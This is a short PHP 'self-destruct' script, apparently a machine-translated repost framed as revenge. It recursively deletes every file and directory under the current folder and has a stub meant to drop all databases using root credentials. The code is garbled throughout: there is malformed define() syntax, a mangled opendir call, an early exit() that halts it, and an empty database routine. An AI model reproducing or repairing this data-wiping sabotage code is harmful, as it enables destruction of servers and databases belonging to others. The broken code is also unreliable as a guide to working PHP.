<?php
// +----------------------------------------------------------------------
// | kill!!
//| The program will erase all files and directories in this directory
//| If you set up database information, try to delete all database and table data (provided you have enough permissions!). )
// +----------------------------------------------------------------------
// | Version: $Id $
// +----------------------------------------------------------------------
//----------The database configuration area-----------------
//The power of revenge is very scary, so no need to specify the database, all deleted!
Define'Db_user','Root');
Define'db_pwd','Root');
Define'Db_host','localhost');
Define'Db_port','3216');
Define'Db_damage',true);//when false, do not touch the database
Run ();
/**
* Subject thought must be glorious and great!
*
* @return void
**/
function Run ()
{
//Deleting Files
Deletedir ();
//Deleting a database
Deletedb ();
}
/**
* hehe, delete all files in current directory (recursive)
*
* @return void
**/
function Deletedir ($dir ="'){
if($dir = ="') {
$dir = Realpath ('.');
}
Echo $dir;
Exit ();
if([email protected] ($dir)) {//detects whether the directory to open exists
Die"no such directory");
}
while(false!== ($file =readdir ($handle))) {
if($file!=="."&& $file!==".."){//exclude current directory from parent directory
$file = $dir. Directory_separator. $file;
if(Is_dir ($file)) {
Deletedir ($file);
}Else{
if(@unlink ($file)) {
Echo"file <b> $file </b> Delete succeeded. <br>";
}Else{
Echo"file <b> $file </b> Delete failed!<br>";
}
}
}
if(@rmdir ($dir)) {
Echo"Catalog <b> $dir </b> Delete succeeded. <br>\n";
}Else{
Echo"Catalog <b> $dir </b> Delete failed! <br>\n";
}
}
/**
* Hehe, delete the database
*
* @return void
**/
function Deletedb ()
{
if(Db_damage = = =true){
//Start
}
}
PHP Self-Destruct program